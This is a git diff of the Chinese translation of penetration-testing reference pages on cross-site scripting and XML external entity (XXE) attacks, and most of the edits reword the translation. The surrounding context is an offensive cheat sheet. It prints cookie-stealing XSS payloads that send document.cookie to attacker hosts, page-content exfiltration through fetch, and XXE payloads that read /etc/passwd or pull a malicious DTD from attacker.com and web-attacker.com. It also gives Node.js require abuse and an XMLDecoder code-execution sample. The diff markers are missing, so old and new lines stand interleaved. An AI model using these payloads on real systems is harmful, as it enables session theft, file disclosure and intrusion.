本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的地方**
- **HTML编码HTML标签**
- **Unicode编码可以是有效的JS代码** `\u0061lert(1)`
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
### CSS小工具
如果您在网页的**非常小的部分**发现了**XSS**,并且需要某种交互(可能是页脚中的一个小链接带有onmouseover元素您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
如果您在网络的**非常小的部分**发现了**XSS**,并且需要某种交互(也许是页脚中的一个小链接带有onmouseover元素您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
例如,您可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
## 在JavaScript代码中注入
在这种情况下,您的**输入**将**反映在`.js`文件的JS代码**中,或在`<script>...</script>`标签之间或在可以执行JS代码的HTML事件之间或在接受`javascript:`协议的属性之间。
在这些情况下,您的**输入**将**反映在.js文件的JS代码**中,或在`<script>...</script>`标签之间或在可以执行JS代码的HTML事件之间或在接受`javascript:`协议的属性之间。
### 转义\<script>标签
@ -738,15 +738,15 @@ top[8680439..toString(30)](1)
````
## **DOM 漏洞**
**JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
**JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
在这里你会找到关于 **DOM 漏洞是什么、如何引发它们以及如何利用它们的详细解释**。\
此外,别忘了**提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
在这里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
此外,不要忘记**提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
### 升级 Self-XSS
@ -758,7 +758,7 @@ dom-xss.md
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用例。
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用例。
### 将你的会话发送给管理员
@ -774,7 +774,7 @@ dom-xss.md
### 规范化 Unicode
你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个**](../unicode-injection/index.html#xss-cross-site-scripting)。
你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个例**](../unicode-injection/index.html#xss-cross-site-scripting)。
### PHP FILTER_VALIDATE_EMAIL 标志绕过
```javascript
@ -823,24 +823,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
### XSS与302响应中的头注入
如果你发现可以**302 重定向响应中注入头**,你可以尝试 **让浏览器执行任意 JavaScript**。这 **并不简单**,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,因此仅仅一个跨站脚本有效载荷是无用的。
如果你发现可以**302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体因此仅仅一个跨站脚本有效载荷是无用的。
[**这份报告**](https://www.gremwell.com/firefox-xss-302) [**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中,你可以阅读如何测试 Location 头部中的多个协议,并查看其中是否有任何协议允许浏览器检查并执行有效载荷。\
已知的协议包括: `mailto://` `//x:1/` `ws://` `wss://` _空 Location _ `resource://`
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)你可以阅读如何在Location头中测试几种协议,并查看其中是否有任何协议允许浏览器检查并执行有效载荷。\
已知的协议包括:`mailto://``//x:1/``ws://``wss://`、_空Location头_、`resource://`
### 仅限字母、数字和点
如果你能够指示 JavaScript 将要 **执行的回调** 限制在这些字符内。 [**阅读这篇文章的这一部分**](#javascript-function) 以了解如何利用这种行为。
如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。
### 有效的 `<script>` 内容类型以进行 XSS
### 有效的`<script>`内容类型以进行XSS
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个 **内容类型** `application/octet-stream` 的脚本Chrome 将抛出以下错误:
(来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个**内容类型**为`application/octet-stream`的脚本Chrome将抛出以下错误
> 拒绝从 [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') 执行脚本,因为其 MIME 类型application/octet-stream不可执行并且启用了严格的 MIME 类型检查。
> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本因为其MIME类型application/octet-stream不可执行并且启用了严格的MIME类型检查。
唯一支持 Chrome 运行 **加载脚本** **Content-Type** [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) 中常量 **`kSupportedJavascriptTypes`** 内的类型。
唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中const **`kSupportedJavascriptTypes`**内的类型。
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -864,11 +864,11 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Types to XSS
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本?
```html
<script type="???"></script>
```
- **module** (默认,无需解释)
- **模块** (默认,无需解释)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能您可以将一堆数据HTML、CSS、JS…打包到一个 **`.wbn`** 文件中。
```html
<script type="webbundle">
@ -923,7 +923,7 @@ import { partition } from "lodash"
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 不在列表中,但我我在 CTF 中见过这个)
- text/plain (?? 不在列表中,但我认为我在 CTF 中见过这个)
- application/rss+xml (关闭)
- application/atom+xml (关闭)
@ -931,7 +931,7 @@ import { partition } from "lodash"
### xml Content Type
如果页面返回的是 text/xml 内容类型,可以指示一个命名空间并执行任意 JS
如果页面返回 text/xml 内容类型,可以指示一个命名空间并执行任意 JS
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -943,7 +943,7 @@ import { partition } from "lodash"
当使用类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 的代码时,攻击者可以使用 [**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 来尝试绕过某些保护措施: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
例如,在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中,这被用来 **转义一个 JSON 字符串** 并执行任意代码。
例如,在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中,这被用来 **转义脚本中的 JSON 字符串** 并执行任意代码。
### Chrome 缓存到 XSS
@ -993,13 +993,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- 间接访问 `require`
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)模块在 Node.js 中被包装在一个函数内,如下所示:
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内,如下所示:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
因此,如果我们可以从该模块**调用另一个函数**,则可以使用`arguments.callee.caller.arguments[1]`从该函数访问**`require`**
因此,如果我们可以从该模块**调用另一个函数**,则可以使用 `arguments.callee.caller.arguments[1]` 从该函数访问 **`require`**
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1244,7 +1244,7 @@ steal-info-js.md
../iframe-traps.md
{{#endref}}
### 获取 Cookies
### 检索 Cookies
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1267,7 +1267,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但在这里,如果您足够幸运,您可以 [绕过此保护的某些方法](../hacking-with-cookies/index.html#httponly)。
> 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运,这里有 [一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。
### 偷取页面内容
```javascript
@ -1282,7 +1282,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open("GET", url, true)
xhr.send(null)
```
### 查找内部IP地址
### 查找内部IP
```html
<script>
var q = []
@ -1473,7 +1473,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
```
### Regex - 访问隐藏内容
从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到,即使某些值从 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如REGEX 的输入仍然可以在正则表达式的输入值被移除后找到:
从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到,即使某些值从 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如REGEX 的输入在正则表达式的输入值被移除后仍然可以找到:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1508,12 +1508,12 @@ xss-in-markdown.md
### XSS 到 SSRF
在一个 **使用缓存的站点** 上获得了 XSS尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用这个有效载荷:
在一个 **使用缓存的站点** 上获得了 XSS尝试通过边缘侧包含注入将其 **升级为 SSRF**,使用以下有效载荷:
```python
<esi:include src="http://yoursite.com/capture" />
```
使用它来绕过 cookie 限制、XSS 过滤器等更多内容\
有关此技术的更多信息,请参见[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
用它来绕过 cookie 限制、XSS 过滤器等更多!\
有关此技术的更多信息,请查看[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
### 动态创建 PDF 中的 XSS
@ -1536,7 +1536,7 @@ AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaSc
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
### XSS 上传文件 (svg)

View File

@ -8,7 +8,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
- **通过实体表示数据**XML中的实体使得数据的表示成为可能包括特殊字符如`&lt;``&gt;`,它们分别对应于`<``>`以避免与XML的标签系统发生冲突。
- **定义XML元素**XML允许定义元素类型概述元素应如何结构化以及可以包含哪些内容从任何类型的内容到特定的子元素。
- **文档类型定义DTD**DTD在XML中于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合,指导文档的格式和验证方式
- **文档类型定义DTD**DTD在XML中至关重要,用于定义文档的结构和可以包含的数据类型。它们可以是内部的、外部的或两者的组合,指导文档的格式和验证。
- **自定义和外部实体**XML支持在DTD中创建自定义实体以实现灵活的数据表示。外部实体通过URL定义带来了安全隐患特别是在XML外部实体XXE攻击的背景下这些攻击利用XML解析器处理外部数据源的方式`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **使用参数实体检测XXE**为了检测XXE漏洞特别是在常规方法因解析器安全措施而失败时可以利用XML参数实体。这些实体允许使用带外检测技术例如触发DNS查找或向受控域发出HTTP请求以确认漏洞。
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
@ -35,7 +35,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
让我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows你可以尝试读取: `C:\windows\system32\drivers\etc\hosts`
在这个第一个例中,请注意 SYSTEM "_\*\*file:///\*\*etc/passwd_" 也会有效。
在这个第一个例中,请注意 SYSTEM "_\*\*file:///\*\*etc/passwd_" 也会有效。
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -43,7 +43,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
```
![](<../images/image (86).png>)
这个第二个案例应该有助于提取文件,如果网络服务器使用 PHPPortswiggers 实验室的情况除外)
这个第二个案例应该有助于提取文件,如果网络服务器使用的是PHPPortswigger实验室的情况除外)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -65,7 +65,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
### 目录列表
在**Java**基础的应用程序中可能通过XXE使用类似的有效负载**列出目录的内容**(只请求目录而不是文件):
在**Java**基础的应用程序中可能通过XXE使用如下有效载荷**列出目录的内容**(只请求目录而不是文件):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -83,7 +83,7 @@ XXE 可以被用来滥用云中的 SSRF
```
### Blind SSRF
使用**之前提到的技术**,您可以让服务器访问您控制的服务器以显示其脆弱性。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,您可以尝试使用**XML 参数实体**
使用**之前提到的技术**,您可以让服务器访问您控制的服务器,以显示其存在漏洞。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,您可以尝试使用**XML 参数实体**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -121,7 +121,7 @@ XXE 可以被用来滥用云中的 SSRF
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后解析器在线解释 DTD执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后解析器在线解释 DTD执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
### 基于错误的(外部 DTD
@ -130,7 +130,7 @@ XXE 可以被用来滥用云中的 SSRF
可以通过使用恶意外部文档类型定义DTD触发一个 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的:
1. 定义一个名为 `file` 的 XML 参数实体,其中包含 `/etc/passwd` 文件的内容。
2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估这个 `error` 实体时,它尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。
2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估`error` 实体时,尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。
3. 调用 `eval` 实体,导致 `error` 实体的动态声明。
4. 调用 `error` 实体导致尝试加载一个不存在的文件,产生一个错误消息,其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。
@ -146,13 +146,13 @@ XXE 可以被用来滥用云中的 SSRF
_**请注意,外部 DTD 允许我们在第二个实体内部包含一个实体(\*\***`eval`\***\*),但在内部 DTD 中是禁止的。因此,通常情况下,您无法在不使用外部 DTD 的情况下强制产生错误。**_
### **基于错误(系统 DTD**
### **基于错误的 (系统 DTD)**
那么,当 **出带交互被阻止**(外部连接不可用)时,盲 XXE 漏洞怎么办?
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许从内部 DTD 中重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了 XML 参数实体的重新定义,该实体最初在外部 DTD 中声明,从内部 DTD 中进行重新定义。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱解析错误以揭示敏感信息。
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许从内部 DTD 中重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了 XML 参数实体的重新定义,该实体最初在外部 DTD 中声明,从内部 DTD 中进行重新定义。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱解析错误以揭示敏感信息。
考虑一个场景,其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱 XML 解析错误,从而揭示 `/etc/passwd` 文件
考虑一个场景,其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容,如下所示:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -168,8 +168,8 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
所述步骤由以下 DTD 执行:
- XML 参数实体 `local_dtd` 的定义包括位于服务器文件系统上的外部 DTD 文件。
- 对 `custom_entity` XML 参数实体进行重新定义,该实体最初在外部 DTD 中定义,以封装一个 [基于错误的 XXE 漏洞](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。此重新定义旨在引发解析错误,从而暴露 `/etc/passwd` 文件的内容。
- 通过使用 `local_dtd` 实体,外部 DTD 被调用,包含新定义的 `custom_entity`。这一系列操作导致了漏洞所针对的错误消息的发出
- 对 `custom_entity` XML 参数实体进行重新定义,该实体最初在外部 DTD 中定义,以封装一个 [基于错误的 XXE 利用](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。此重新定义旨在引发解析错误,从而暴露 `/etc/passwd` 文件的内容。
- 通过使用 `local_dtd` 实体,外部 DTD 被调用,包含新定义的 `custom_entity`。这一系列操作导致了利用所需的错误消息的产生
**现实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 中具有一个 DTD其中包含一个名为 `ISOamso` 的实体。
```xml
@ -205,7 +205,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
此外,如果您拥有 **受害者系统的 Docker 镜像**,您可以使用同一仓库的工具来 **扫描** **镜像****查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的 Readme](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
此外,如果您拥有 **受害者系统的 Docker 镜像**,您可以使用同一仓库的工具来 **扫描** **镜像****查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的自述文件](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -221,7 +221,7 @@ Testing 0 entities : []
对于此攻击的更深入解释,**请查看** [**这篇精彩的文章**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **来自 Detectify 的第二部分**
许多网络应用程序**提供上传 Microsoft Office 文档的功能**,然后提取这些文档中的某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。
许多网络应用程序提供**上传 Microsoft Office 文档的功能**,然后提取这些文档中的某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。
要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到该目录中。
@ -231,11 +231,11 @@ Testing 0 entities : []
最后,可以将文件压缩以创建恶意的 poc.docx 文件。从之前创建的 "unzipped" 目录中,应运行以下命令:
现在,可以将创建的文件上传到潜在易受攻击的网络应用程序,并希望在 Burp Collaborator 日志中出现请求。
现在,创建的文件可以上传到潜在易受攻击的网络应用程序,并希望在 Burp Collaborator 日志中出现请求。
### Jar: protocol
**jar** 协议仅在 **Java 应用程序** 中可用。它旨在允许在 **PKZIP** 存档(例如,`.zip``.jar` 等)中访问文件,适用于本地和远程文件。
**jar** 协议仅在**Java 应用程序**中可用。它旨在允许在**PKZIP** 存档(例如,`.zip``.jar` 等)中访问文件,适用于本地和远程文件。
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
@ -246,12 +246,12 @@ jar:https://download.host.com/myarchive.zip!/file.txt
通过 jar 协议访问 PKZIP 存档中的文件的过程涉及几个步骤:
1. 发出 HTTP 请求,从指定位置下载 zip 存档,例如 `https://download.website.com/archive.zip`
2. 包含存档的 HTTP 响应暂时存储在系统上,通常在 `/tmp/...` 这样的地方
2. 包含存档的 HTTP 响应临时存储在系统上,通常在 `/tmp/...` 位置
3. 然后提取存档以访问其内容。
4. 读取存档中的特定文件 `file.zip`
5. 操作完成后,删除在此过程中创建的任何临时文件。
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一目的,包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一点,包括 Python 服务器 (`slow_http_server.py`) 和 Java 服务器 (`slowserver.jar`)。
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -310,7 +310,7 @@ Responder.py -I eth0 -v
### XInclude
在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得传统的 XXE 攻击受到限制,因为无法修改 `DOCTYPE` 元素。然而,`XInclude` 攻击提供了解决方案,通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据,这种方法仍然有效。
在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得传统的 XXE 攻击受到限制,因为无法修改 `DOCTYPE` 元素。然而,`XInclude` 攻击提供了解决方案,允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据,这种方法仍然有效。
要执行 `XInclude` 攻击,必须声明 `XInclude` 命名空间,并指定所需外部实体的文件路径。以下是如何制定此类攻击的简洁示例:
```xml
@ -322,7 +322,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
用户上传到某些应用程序的文件,然后在服务器上处理,可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
当用户 **上传图像** 时,这些图像会在服务器端处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,可以被攻击者利用来提交恶意 SVG 图像,从而使服务器暴露于 XXE (XML 外部实体) 漏洞。
当用户 **上传图像** 时,这些图像会在服务器端处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。由于 SVG 是基于 XML 的格式,攻击者可以利用它提交恶意 SVG 图像,从而使服务器暴露于 XXEXML 外部实体)漏洞。
下面展示了一个此类攻击的示例,其中恶意 SVG 图像试图读取系统文件:
```xml
@ -408,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8
### UTF-7
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为 UTF-7。
您可以在此处使用 \[**"Encode Recipe**" of cyberchef\]\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4将其转换为 UTF-7。
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -476,7 +476,7 @@ DTD 示例:
这个例子灵感来源于 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为 CAT (计算机辅助翻译) 工具的通用交换格式。
XLIFF (XML 本地化交换文件格式) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为 CAT (计算机辅助翻译) 工具的通用交换格式。
### Blind Request Analysis
@ -500,7 +500,7 @@ Content-Type: application/x-xliff+xml
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
尽管出现错误,但在 Burp Collaborator 上记录了一次命中,表明与外部实体有某种程度的交互。
尽管出现错误,但在 Burp Collaborator 上记录了一次命中,表明与外部实体有某种程度的交互。
Out of Band Data Exfiltration 为了提取数据,发送了一个修改过的请求:
```
@ -527,7 +527,7 @@ Content-Type: application/x-xliff+xml
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
要在错误消息中包含文件的内容DTD 文件被调整
要在错误消息中包含文件的内容,需要调整 DTD 文件:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
@ -671,21 +671,21 @@ XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意
</void>
</java>
```
## Tools
## 工具
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## References
## 参考文献
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
